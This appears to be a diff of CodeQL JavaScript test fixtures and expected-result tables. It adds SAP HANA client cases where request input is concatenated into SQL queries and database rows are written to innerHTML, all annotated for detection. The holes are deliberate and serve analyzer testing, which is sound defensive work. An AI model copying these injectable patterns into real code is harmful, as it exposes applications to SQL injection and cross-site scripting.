| various-concat-obfuscations.js:21:17:21:46 | documen ... h.attrs | various-concat-obfuscations.js:17:24:17:28 | attrs | various-concat-obfuscations.js:18:10:18:105 | '<div a ... /div>') [ArrayElement] | various-concat-obfuscations.js:21:4:21:47 | indirec ... .attrs) |
#select
| hana.js:11:37:11:51 | rows[0].comment | hana.js:11:37:11:40 | rows | hana.js:11:37:11:51 | rows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:11:37:11:40 | rows | user-provided value |
| hana.js:16:37:16:51 | rows[0].comment | hana.js:16:37:16:40 | rows | hana.js:16:37:16:51 | rows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:16:37:16:40 | rows | user-provided value |
| hana.js:19:37:19:51 | rows[0].comment | hana.js:19:37:19:40 | rows | hana.js:19:37:19:51 | rows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:19:37:19:40 | rows | user-provided value |
| hana.js:22:37:22:49 | rs[0].comment | hana.js:22:37:22:38 | rs | hana.js:22:37:22:49 | rs[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:22:37:22:38 | rs | user-provided value |
| hana.js:38:31:38:43 | rs[0].comment | hana.js:38:31:38:32 | rs | hana.js:38:31:38:43 | rs[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:38:31:38:32 | rs | user-provided value |
| hana.js:43:33:43:52 | dummyRows[0].comment | hana.js:43:33:43:41 | dummyRows | hana.js:43:33:43:52 | dummyRows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:43:33:43:41 | dummyRows | user-provided value |
| hana.js:44:33:44:53 | tablesR ... comment | hana.js:44:33:44:42 | tablesRows | hana.js:44:33:44:53 | tablesR ... comment | Cross-site scripting vulnerability due to $@. | hana.js:44:33:44:42 | tablesRows | user-provided value |
| hana.js:50:33:50:52 | dummyRows[0].comment | hana.js:50:33:50:41 | dummyRows | hana.js:50:33:50:52 | dummyRows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:50:33:50:41 | dummyRows | user-provided value |
| hana.js:51:33:51:53 | tablesR ... comment | hana.js:51:33:51:42 | tablesRows | hana.js:51:33:51:53 | tablesR ... comment | Cross-site scripting vulnerability due to $@. | hana.js:51:33:51:42 | tablesRows | user-provided value |
| hana.js:70:33:70:47 | rows[0].comment | hana.js:70:33:70:36 | rows | hana.js:70:33:70:47 | rows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:70:33:70:36 | rows | user-provided value |
| hana.js:73:33:73:47 | rows[0].comment | hana.js:73:33:73:36 | rows | hana.js:73:33:73:47 | rows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:73:33:73:36 | rows | user-provided value |
| hana.js:84:35:84:54 | dummyRows[0].comment | hana.js:84:35:84:43 | dummyRows | hana.js:84:35:84:54 | dummyRows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:84:35:84:43 | dummyRows | user-provided value |
| hana.js:85:35:85:54 | tableRows[0].comment | hana.js:85:35:85:43 | tableRows | hana.js:85:35:85:54 | tableRows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:85:35:85:43 | tableRows | user-provided value |
| hana.js:90:33:90:45 | rs[0].comment | hana.js:90:33:90:34 | rs | hana.js:90:33:90:45 | rs[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:90:33:90:34 | rs | user-provided value |
| jwt.js:6:14:6:20 | decoded | jwt.js:4:36:4:39 | data | jwt.js:6:14:6:20 | decoded | Cross-site scripting vulnerability due to $@. | jwt.js:4:36:4:39 | data | user-provided value |
| typeahead.js:10:16:10:18 | loc | typeahead.js:9:28:9:30 | loc | typeahead.js:10:16:10:18 | loc | Cross-site scripting vulnerability due to $@. | typeahead.js:9:28:9:30 | loc | user-provided value |
| xmlRequest.js:9:28:9:39 | json.message | xmlRequest.js:8:31:8:46 | xhr.responseText | xmlRequest.js:9:28:9:39 | json.message | Cross-site scripting vulnerability due to $@. | xmlRequest.js:8:31:8:46 | xhr.responseText | user-provided value |

View File

@@ -0,0 +1,93 @@
const hana = require('@sap/hana-client');
const express = require('express');
const app = express();
const connectionParams = {};
const query = ``;
app.post('/documents/find', (req, res) => {
const conn = hana.createConnection();
conn.connect(connectionParams, (err) => {
conn.exec(query, (err, rows) => {
document.body.innerHTML = rows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
});
const stmt = conn.prepare(query);
stmt.exec([0], (err, rows) => {
document.body.innerHTML = rows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
});
stmt.execBatch([[1, "a"], [2, "b"]], function(err, rows) {
document.body.innerHTML = rows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
});
stmt.execQuery([100, "a"], function(err, rs) {
document.body.innerHTML = rs[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
});
});
});
var hdbext = require('@sap/hdbext');
var express = require('express');
var dbStream = require('@sap/hana-client/extension/Stream');
var app1 = express();
const hanaConfig = {};
app1.use(hdbext.middleware(hanaConfig));
app1.get('/execute-query', function (req, res) {
var client = req.db;
client.exec(query, function (err, rs) {
document.body.innerHTML = rs[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
});
dbStream.createProcStatement(client, query, function (err, stmt) {
stmt.exec({ A: 1, B: 4 }, function (err, params, dummyRows, tablesRows) {
document.body.innerHTML = dummyRows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
document.body.innerHTML = tablesRows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
});
});
hdbext.loadProcedure(client, null, query, function(err, sp) {
sp(3, maliciousInput, function(err, parameters, dummyRows, tablesRows) {
document.body.innerHTML = dummyRows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
document.body.innerHTML = tablesRows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
});
});
});
var hdb = require('hdb');
const async = require('async');
const { q } = require('underscore.string');
const options = {};
const app2 = express();
app2.post('/documents/find', (req, res) => {
var client = hdb.createClient(options);
client.connect(function onconnect(err) {
client.exec(query, function (err, rows) {
document.body.innerHTML = rows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
});
client.exec(query, options, function(err, rows) {
document.body.innerHTML = rows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
});
client.prepare(query, function (err, statement){
statement.exec([1], function (err, rows) {
document.body.innerHTML = rows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
});
});
client.prepare(query, function(err, statement){
statement.exec({A: 3, B: 1}, function(err, parameters, dummyRows, tableRows) {
document.body.innerHTML = dummyRows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
document.body.innerHTML = tableRows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
});
});
client.execute(query, function(err, rs) {
document.body.innerHTML = rs[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
});
});
});

View File

@@ -10,6 +10,19 @@
| graphql.js:74:46:74:64 | "{ foo" + id + " }" | graphql.js:73:14:73:25 | req.query.id | graphql.js:74:46:74:64 | "{ foo" + id + " }" | This query string depends on a $@. | graphql.js:73:14:73:25 | req.query.id | user-provided value |
| graphql.js:82:14:88:8 | `{\\n ... }` | graphql.js:73:14:73:25 | req.query.id | graphql.js:82:14:88:8 | `{\\n ... }` | This query string depends on a $@. | graphql.js:73:14:73:25 | req.query.id | user-provided value |
| graphql.js:118:38:118:48 | `foo ${id}` | graphql.js:117:16:117:28 | req.params.id | graphql.js:118:38:118:48 | `foo ${id}` | This query string depends on a $@. | graphql.js:117:16:117:28 | req.params.id | user-provided value |
| hana.js:11:19:11:23 | query | hana.js:9:30:9:37 | req.body | hana.js:11:19:11:23 | query | This query string depends on a $@. | hana.js:9:30:9:37 | req.body | user-provided value |
| hana.js:17:35:17:100 | `SELECT ... usInput | hana.js:16:32:16:39 | req.body | hana.js:17:35:17:100 | `SELECT ... usInput | This query string depends on a $@. | hana.js:16:32:16:39 | req.body | user-provided value |
| hana.js:24:33:24:96 | `INSERT ... usInput | hana.js:23:32:23:39 | req.body | hana.js:24:33:24:96 | `INSERT ... usInput | This query string depends on a $@. | hana.js:23:32:23:39 | req.body | user-provided value |
| hana.js:31:31:31:97 | "SELECT ... usInput | hana.js:30:30:30:37 | req.body | hana.js:31:31:31:97 | "SELECT ... usInput | This query string depends on a $@. | hana.js:30:30:30:37 | req.body | user-provided value |
| hana.js:48:15:48:52 | 'SELECT ... usInput | hana.js:47:24:47:31 | req.body | hana.js:48:15:48:52 | 'SELECT ... usInput | This query string depends on a $@. | hana.js:47:24:47:31 | req.body | user-provided value |
| hana.js:50:40:50:89 | 'CALL P ... usInput | hana.js:47:24:47:31 | req.body | hana.js:50:40:50:89 | 'CALL P ... usInput | This query string depends on a $@. | hana.js:47:24:47:31 | req.body | user-provided value |
| hana.js:54:38:54:66 | 'PROC_D ... usInput | hana.js:47:24:47:31 | req.body | hana.js:54:38:54:66 | 'PROC_D ... usInput | This query string depends on a $@. | hana.js:47:24:47:31 | req.body | user-provided value |
| hana.js:71:44:71:99 | "INSERT ... usInput | hana.js:68:24:68:31 | req.body | hana.js:71:44:71:99 | "INSERT ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value |
| hana.js:73:17:73:54 | 'select ... usInput | hana.js:68:24:68:31 | req.body | hana.js:73:17:73:54 | 'select ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value |
| hana.js:74:17:74:54 | 'select ... usInput | hana.js:68:24:68:31 | req.body | hana.js:74:17:74:54 | 'select ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value |
| hana.js:76:20:76:73 | 'select ... usInput | hana.js:68:24:68:31 | req.body | hana.js:76:20:76:73 | 'select ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value |
| hana.js:80:20:80:69 | 'call P ... usInput | hana.js:68:24:68:31 | req.body | hana.js:80:20:80:69 | 'call P ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value |
| hana.js:84:20:84:78 | 'select ... usInput | hana.js:68:24:68:31 | req.body | hana.js:84:20:84:78 | 'select ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value |
| html-sanitizer.js:16:9:16:59 | `SELECT ... param1 | html-sanitizer.js:13:39:13:44 | param1 | html-sanitizer.js:16:9:16:59 | `SELECT ... param1 | This query string depends on a $@. | html-sanitizer.js:13:39:13:44 | param1 | user-provided value |
| json-schema-validator.js:33:22:33:26 | query | json-schema-validator.js:25:34:25:47 | req.query.data | json-schema-validator.js:33:22:33:26 | query | This query object depends on a $@. | json-schema-validator.js:25:34:25:47 | req.query.data | user-provided value |
| json-schema-validator.js:35:18:35:22 | query | json-schema-validator.js:25:34:25:47 | req.query.data | json-schema-validator.js:35:18:35:22 | query | This query object depends on a $@. | json-schema-validator.js:25:34:25:47 | req.query.data | user-provided value |
@@ -152,6 +165,41 @@ edges
| graphql.js:117:11:117:28 | id | graphql.js:118:45:118:46 | id | provenance | |
| graphql.js:117:16:117:28 | req.params.id | graphql.js:117:11:117:28 | id | provenance | |
| graphql.js:118:45:118:46 | id | graphql.js:118:38:118:48 | `foo ${id}` | provenance | |
| hana.js:9:13:9:42 | maliciousInput | hana.js:10:64:10:77 | maliciousInput | provenance | |
| hana.js:9:30:9:37 | req.body | hana.js:9:13:9:42 | maliciousInput | provenance | |
| hana.js:10:15:10:80 | query | hana.js:11:19:11:23 | query | provenance | |
| hana.js:10:64:10:77 | maliciousInput | hana.js:10:15:10:80 | query | provenance | |
| hana.js:16:15:16:44 | maliciousInput | hana.js:17:87:17:100 | maliciousInput | provenance | |
| hana.js:16:32:16:39 | req.body | hana.js:16:15:16:44 | maliciousInput | provenance | |
| hana.js:17:87:17:100 | maliciousInput | hana.js:17:35:17:100 | `SELECT ... usInput | provenance | |
| hana.js:23:15:23:44 | maliciousInput | hana.js:24:83:24:96 | maliciousInput | provenance | |
| hana.js:23:32:23:39 | req.body | hana.js:23:15:23:44 | maliciousInput | provenance | |
| hana.js:24:83:24:96 | maliciousInput | hana.js:24:33:24:96 | `INSERT ... usInput | provenance | |
| hana.js:30:13:30:42 | maliciousInput | hana.js:31:84:31:97 | maliciousInput | provenance | |
| hana.js:30:30:30:37 | req.body | hana.js:30:13:30:42 | maliciousInput | provenance | |
| hana.js:31:84:31:97 | maliciousInput | hana.js:31:31:31:97 | "SELECT ... usInput | provenance | |
| hana.js:47:7:47:36 | maliciousInput | hana.js:48:39:48:52 | maliciousInput | provenance | |
| hana.js:47:7:47:36 | maliciousInput | hana.js:50:76:50:89 | maliciousInput | provenance | |
| hana.js:47:7:47:36 | maliciousInput | hana.js:54:53:54:66 | maliciousInput | provenance | |
| hana.js:47:24:47:31 | req.body | hana.js:47:7:47:36 | maliciousInput | provenance | |
| hana.js:48:39:48:52 | maliciousInput | hana.js:48:15:48:52 | 'SELECT ... usInput | provenance | |
| hana.js:48:39:48:52 | maliciousInput | hana.js:50:76:50:89 | maliciousInput | provenance | |
| hana.js:50:76:50:89 | maliciousInput | hana.js:50:40:50:89 | 'CALL P ... usInput | provenance | |
| hana.js:50:76:50:89 | maliciousInput | hana.js:54:53:54:66 | maliciousInput | provenance | |
| hana.js:54:53:54:66 | maliciousInput | hana.js:54:38:54:66 | 'PROC_D ... usInput | provenance | |
| hana.js:68:7:68:36 | maliciousInput | hana.js:71:86:71:99 | maliciousInput | provenance | |
| hana.js:68:7:68:36 | maliciousInput | hana.js:73:41:73:54 | maliciousInput | provenance | |
| hana.js:68:7:68:36 | maliciousInput | hana.js:74:41:74:54 | maliciousInput | provenance | |
| hana.js:68:7:68:36 | maliciousInput | hana.js:76:60:76:73 | maliciousInput | provenance | |
| hana.js:68:7:68:36 | maliciousInput | hana.js:80:56:80:69 | maliciousInput | provenance | |
| hana.js:68:7:68:36 | maliciousInput | hana.js:84:65:84:78 | maliciousInput | provenance | |
| hana.js:68:24:68:31 | req.body | hana.js:68:7:68:36 | maliciousInput | provenance | |
| hana.js:71:86:71:99 | maliciousInput | hana.js:71:44:71:99 | "INSERT ... usInput | provenance | |
| hana.js:73:41:73:54 | maliciousInput | hana.js:73:17:73:54 | 'select ... usInput | provenance | |
| hana.js:74:41:74:54 | maliciousInput | hana.js:74:17:74:54 | 'select ... usInput | provenance | |
| hana.js:76:60:76:73 | maliciousInput | hana.js:76:20:76:73 | 'select ... usInput | provenance | |
| hana.js:80:56:80:69 | maliciousInput | hana.js:80:20:80:69 | 'call P ... usInput | provenance | |
| hana.js:84:65:84:78 | maliciousInput | hana.js:84:20:84:78 | 'select ... usInput | provenance | |
| html-sanitizer.js:13:39:13:44 | param1 | html-sanitizer.js:14:18:14:23 | param1 | provenance | |
| html-sanitizer.js:14:5:14:24 | param1 | html-sanitizer.js:16:54:16:59 | param1 | provenance | |
| html-sanitizer.js:14:14:14:24 | xss(param1) | html-sanitizer.js:14:5:14:24 | param1 | provenance | |
@@ -504,6 +552,45 @@ nodes
| graphql.js:117:16:117:28 | req.params.id | semmle.label | req.params.id |
| graphql.js:118:38:118:48 | `foo ${id}` | semmle.label | `foo ${id}` |
| graphql.js:118:45:118:46 | id | semmle.label | id |
| hana.js:9:13:9:42 | maliciousInput | semmle.label | maliciousInput |
| hana.js:9:30:9:37 | req.body | semmle.label | req.body |
| hana.js:10:15:10:80 | query | semmle.label | query |
| hana.js:10:64:10:77 | maliciousInput | semmle.label | maliciousInput |
| hana.js:11:19:11:23 | query | semmle.label | query |
| hana.js:16:15:16:44 | maliciousInput | semmle.label | maliciousInput |
| hana.js:16:32:16:39 | req.body | semmle.label | req.body |
| hana.js:17:35:17:100 | `SELECT ... usInput | semmle.label | `SELECT ... usInput |
| hana.js:17:87:17:100 | maliciousInput | semmle.label | maliciousInput |
| hana.js:23:15:23:44 | maliciousInput | semmle.label | maliciousInput |
| hana.js:23:32:23:39 | req.body | semmle.label | req.body |
| hana.js:24:33:24:96 | `INSERT ... usInput | semmle.label | `INSERT ... usInput |
| hana.js:24:83:24:96 | maliciousInput | semmle.label | maliciousInput |
| hana.js:30:13:30:42 | maliciousInput | semmle.label | maliciousInput |
| hana.js:30:30:30:37 | req.body | semmle.label | req.body |
| hana.js:31:31:31:97 | "SELECT ... usInput | semmle.label | "SELECT ... usInput |
| hana.js:31:84:31:97 | maliciousInput | semmle.label | maliciousInput |
| hana.js:47:7:47:36 | maliciousInput | semmle.label | maliciousInput |
| hana.js:47:24:47:31 | req.body | semmle.label | req.body |
| hana.js:48:15:48:52 | 'SELECT ... usInput | semmle.label | 'SELECT ... usInput |
| hana.js:48:39:48:52 | maliciousInput | semmle.label | maliciousInput |
| hana.js:50:40:50:89 | 'CALL P ... usInput | semmle.label | 'CALL P ... usInput |
| hana.js:50:76:50:89 | maliciousInput | semmle.label | maliciousInput |
| hana.js:54:38:54:66 | 'PROC_D ... usInput | semmle.label | 'PROC_D ... usInput |
| hana.js:54:53:54:66 | maliciousInput | semmle.label | maliciousInput |
| hana.js:68:7:68:36 | maliciousInput | semmle.label | maliciousInput |
| hana.js:68:24:68:31 | req.body | semmle.label | req.body |
| hana.js:71:44:71:99 | "INSERT ... usInput | semmle.label | "INSERT ... usInput |
| hana.js:71:86:71:99 | maliciousInput | semmle.label | maliciousInput |
| hana.js:73:17:73:54 | 'select ... usInput | semmle.label | 'select ... usInput |
| hana.js:73:41:73:54 | maliciousInput | semmle.label | maliciousInput |
| hana.js:74:17:74:54 | 'select ... usInput | semmle.label | 'select ... usInput |
| hana.js:74:41:74:54 | maliciousInput | semmle.label | maliciousInput |
| hana.js:76:20:76:73 | 'select ... usInput | semmle.label | 'select ... usInput |
| hana.js:76:60:76:73 | maliciousInput | semmle.label | maliciousInput |
| hana.js:80:20:80:69 | 'call P ... usInput | semmle.label | 'call P ... usInput |
| hana.js:80:56:80:69 | maliciousInput | semmle.label | maliciousInput |
| hana.js:84:20:84:78 | 'select ... usInput | semmle.label | 'select ... usInput |
| hana.js:84:65:84:78 | maliciousInput | semmle.label | maliciousInput |
| html-sanitizer.js:13:39:13:44 | param1 | semmle.label | param1 |
| html-sanitizer.js:14:5:14:24 | param1 | semmle.label | param1 |
| html-sanitizer.js:14:14:14:24 | xss(param1) | semmle.label | xss(param1) |

View File

@@ -0,0 +1,95 @@
const hana = require('@sap/hana-client');
const express = require('express');
const app = express();
const connectionParams = {};
app.post('/documents/find', (req, res) => {
const conn = hana.createConnection();
conn.connect(connectionParams, (err) => {
let maliciousInput = req.body.data; // $ Source
const query = `SELECT * FROM Users WHERE username = '${maliciousInput}'`;
conn.exec(query, (err, rows) => {}); // $ Alert
conn.disconnect();
});
conn.connect(connectionParams, (err) => {
const maliciousInput = req.body.data; // $ Source
const stmt = conn.prepare(`SELECT * FROM Test WHERE ID = ? AND username = ` + maliciousInput); // $ Alert
stmt.exec([maliciousInput], (err, rows) => {}); // maliciousInput is treated as a parameter
conn.disconnect();
});
conn.connect(connectionParams, (err) => {
const maliciousInput = req.body.data; // $ Source
var stmt = conn.prepare(`INSERT INTO Customers(ID, NAME) VALUES(?, ?) ` + maliciousInput); // $ Alert
stmt.execBatch([[1, maliciousInput], [2, maliciousInput]], function(err, rows) {}); // maliciousInput is treated as a parameter
conn.disconnect();
});
conn.connect(connectionParams, (err) => {
const maliciousInput = req.body.data; // $ Source
var stmt = conn.prepare("SELECT * FROM Customers WHERE ID >= ? AND ID < ?" + maliciousInput); // $ Alert
stmt.execQuery([100, maliciousInput], function(err, rs) {}); // $ maliciousInput is treated as a parameter
conn.disconnect();
});
});
var hdbext = require('@sap/hdbext');
var express = require('express');
var dbStream = require('@sap/hana-client/extension/Stream');
var app1 = express();
const hanaConfig = {};
app1.use(hdbext.middleware(hanaConfig));
app1.get('/execute-query', function (req, res) {
var client = req.db;
let maliciousInput = req.body.data; // $ Source
client.exec('SELECT * FROM DUMMY' + maliciousInput, function (err, rs) {}); // $ Alert
dbStream.createProcStatement(client, 'CALL PROC_DUMMY (?, ?, ?, ?, ?)' + maliciousInput, function (err, stmt) { // $ Alert
stmt.exec({ A: maliciousInput, B: 4 }, function (err, params, dummyRows, tablesRows) {}); // maliciousInput is treated as a parameter
});
hdbext.loadProcedure(client, null, 'PROC_DUMMY' + maliciousInput, function(err, sp) { // $ Alert
sp(3, maliciousInput, function(err, parameters, dummyRows, tablesRows) {}); // maliciousInput is treated as a parameter
});
});
var hdb = require('hdb');
const async = require('async');
const options = {};
const app2 = express();
app2.post('/documents/find', (req, res) => {
var client = hdb.createClient(options);
let maliciousInput = req.body.data; // $ Source
client.connect(function onconnect(err) {
async.series([client.exec.bind(client, "INSERT INTO NUMBERS VALUES (1, 'one')" + maliciousInput)], function (err) {}); // $ Alert
client.exec('select * from DUMMY' + maliciousInput, function (err, rows) {}); // $ Alert
client.exec('select * from DUMMY' + maliciousInput, options, function(err, rows) {}); // $ Alert
client.prepare('select * from DUMMY where DUMMY = ?' + maliciousInput, function (err, statement){ // $ Alert
statement.exec([maliciousInput], function (err, rows) {}); // maliciousInput is treated as a parameter
});
client.prepare('call PROC_DUMMY (?, ?, ?, ?, ?)' + maliciousInput, function(err, statement){ // $ Alert
statement.exec({A: 3, B: maliciousInput}, function(err, parameters, dummyRows, tableRows) {});
});
client.execute('select A, B from TEST.NUMBERS order by A' + maliciousInput, function(err, rs) {}); // $ Alert
});
});
var app3 = express();
app3.get('/execute-query', function (req, res) {
var client = req.db;
let maliciousInput = req.body.data;
client.exec('SELECT * FROM DUMMY' + maliciousInput, function (err, rs) {});
req.db.exec('SELECT * FROM DUMMY' + maliciousInput, function (err, rs) {});
});

View File

@@ -1,6 +1,9 @@
#select
| FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | Outbound network request depends on $@. | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | file data |
| FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | file data |
| FileAccessToHttp.js:36:13:41:3 | {\\n h ... r }\\n } | FileAccessToHttp.js:34:18:34:57 | [Buffer ... (1024)] | FileAccessToHttp.js:36:13:41:3 | {\\n h ... r }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:34:18:34:57 | [Buffer ... (1024)] | file data |
| FileAccessToHttp.js:45:13:50:3 | {\\n h ... ) }\\n } | FileAccessToHttp.js:43:19:43:36 | Buffer.alloc(1024) | FileAccessToHttp.js:45:13:50:3 | {\\n h ... ) }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:43:19:43:36 | Buffer.alloc(1024) | file data |
| FileAccessToHttp.js:54:15:59:5 | {\\n ... }\\n } | FileAccessToHttp.js:52:19:52:36 | Buffer.alloc(1024) | FileAccessToHttp.js:54:15:59:5 | {\\n ... }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:52:19:52:36 | Buffer.alloc(1024) | file data |
| bufferRead.js:32:21:32:28 | postData | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:32:21:32:28 | postData | Outbound network request depends on $@. | bufferRead.js:12:22:12:43 | new Buf ... s.size) | file data |
| googlecompiler.js:37:18:37:26 | post_data | googlecompiler.js:43:54:43:57 | data | googlecompiler.js:37:18:37:26 | post_data | Outbound network request depends on $@. | googlecompiler.js:43:54:43:57 | data | file data |
| readFileSync.js:25:18:25:18 | s | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | readFileSync.js:25:18:25:18 | s | Outbound network request depends on $@. | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | file data |
@@ -18,6 +21,27 @@ edges
| FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | FileAccessToHttp.js:16:11:16:56 | content | provenance | |
| FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | provenance | |
| FileAccessToHttp.js:22:27:22:33 | content | FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | provenance | |
| FileAccessToHttp.js:34:9:34:57 | buffer | FileAccessToHttp.js:40:25:40:30 | buffer | provenance | |
| FileAccessToHttp.js:34:18:34:57 | [Buffer ... (1024)] | FileAccessToHttp.js:34:9:34:57 | buffer | provenance | |
| FileAccessToHttp.js:40:14:40:32 | { Referer: buffer } [Referer] | FileAccessToHttp.js:36:13:41:3 | {\\n h ... r }\\n } | provenance | |
| FileAccessToHttp.js:40:25:40:30 | buffer | FileAccessToHttp.js:40:14:40:32 | { Referer: buffer } [Referer] | provenance | |
| FileAccessToHttp.js:43:9:43:36 | buffer1 | FileAccessToHttp.js:49:25:49:31 | buffer1 | provenance | |
| FileAccessToHttp.js:43:19:43:36 | Buffer.alloc(1024) | FileAccessToHttp.js:43:9:43:36 | buffer1 | provenance | |
| FileAccessToHttp.js:49:14:49:65 | { Refer ... ing() } [Referer] | FileAccessToHttp.js:45:13:50:3 | {\\n h ... ) }\\n } | provenance | |
| FileAccessToHttp.js:49:25:49:31 | buffer1 | FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) | provenance | |
| FileAccessToHttp.js:49:25:49:31 | buffer1 | FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) [ArrayElement] | provenance | |
| FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) | FileAccessToHttp.js:49:25:49:63 | buffer1 ... tring() | provenance | |
| FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) [ArrayElement] | FileAccessToHttp.js:49:25:49:63 | buffer1 ... tring() | provenance | |
| FileAccessToHttp.js:49:25:49:63 | buffer1 ... tring() | FileAccessToHttp.js:49:14:49:65 | { Refer ... ing() } [Referer] | provenance | |
| FileAccessToHttp.js:52:9:52:36 | buffer2 | FileAccessToHttp.js:53:17:53:23 | buffer2 | provenance | |
| FileAccessToHttp.js:52:19:52:36 | Buffer.alloc(1024) | FileAccessToHttp.js:52:9:52:36 | buffer2 | provenance | |
| FileAccessToHttp.js:53:17:53:23 | buffer2 | FileAccessToHttp.js:58:27:58:33 | buffer2 | provenance | |
| FileAccessToHttp.js:58:16:58:67 | { Refer ... ing() } [Referer] | FileAccessToHttp.js:54:15:59:5 | {\\n ... }\\n } | provenance | |
| FileAccessToHttp.js:58:27:58:33 | buffer2 | FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) | provenance | |
| FileAccessToHttp.js:58:27:58:33 | buffer2 | FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) [ArrayElement] | provenance | |
| FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) | FileAccessToHttp.js:58:27:58:65 | buffer2 ... tring() | provenance | |
| FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) [ArrayElement] | FileAccessToHttp.js:58:27:58:65 | buffer2 ... tring() | provenance | |
| FileAccessToHttp.js:58:27:58:65 | buffer2 ... tring() | FileAccessToHttp.js:58:16:58:67 | { Refer ... ing() } [Referer] | provenance | |
| bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:21:13:26 | buffer | provenance | |
| bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:32:13:37 | buffer | provenance | |
| bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:12:13:12:43 | buffer | provenance | |
@@ -74,6 +98,28 @@ nodes
| FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | semmle.label | {\\n ... }\\n } |
| FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | semmle.label | { Referer: content } [Referer] |
| FileAccessToHttp.js:22:27:22:33 | content | semmle.label | content |
| FileAccessToHttp.js:34:9:34:57 | buffer | semmle.label | buffer |
| FileAccessToHttp.js:34:18:34:57 | [Buffer ... (1024)] | semmle.label | [Buffer ... (1024)] |
| FileAccessToHttp.js:36:13:41:3 | {\\n h ... r }\\n } | semmle.label | {\\n h ... r }\\n } |
| FileAccessToHttp.js:40:14:40:32 | { Referer: buffer } [Referer] | semmle.label | { Referer: buffer } [Referer] |
| FileAccessToHttp.js:40:25:40:30 | buffer | semmle.label | buffer |
| FileAccessToHttp.js:43:9:43:36 | buffer1 | semmle.label | buffer1 |
| FileAccessToHttp.js:43:19:43:36 | Buffer.alloc(1024) | semmle.label | Buffer.alloc(1024) |
| FileAccessToHttp.js:45:13:50:3 | {\\n h ... ) }\\n } | semmle.label | {\\n h ... ) }\\n } |
| FileAccessToHttp.js:49:14:49:65 | { Refer ... ing() } [Referer] | semmle.label | { Refer ... ing() } [Referer] |
| FileAccessToHttp.js:49:25:49:31 | buffer1 | semmle.label | buffer1 |
| FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) | semmle.label | buffer1 ... sRead1) |
| FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) [ArrayElement] | semmle.label | buffer1 ... sRead1) [ArrayElement] |
| FileAccessToHttp.js:49:25:49:63 | buffer1 ... tring() | semmle.label | buffer1 ... tring() |
| FileAccessToHttp.js:52:9:52:36 | buffer2 | semmle.label | buffer2 |
| FileAccessToHttp.js:52:19:52:36 | Buffer.alloc(1024) | semmle.label | Buffer.alloc(1024) |
| FileAccessToHttp.js:53:17:53:23 | buffer2 | semmle.label | buffer2 |
| FileAccessToHttp.js:54:15:59:5 | {\\n ... }\\n } | semmle.label | {\\n ... }\\n } |
| FileAccessToHttp.js:58:16:58:67 | { Refer ... ing() } [Referer] | semmle.label | { Refer ... ing() } [Referer] |
| FileAccessToHttp.js:58:27:58:33 | buffer2 | semmle.label | buffer2 |
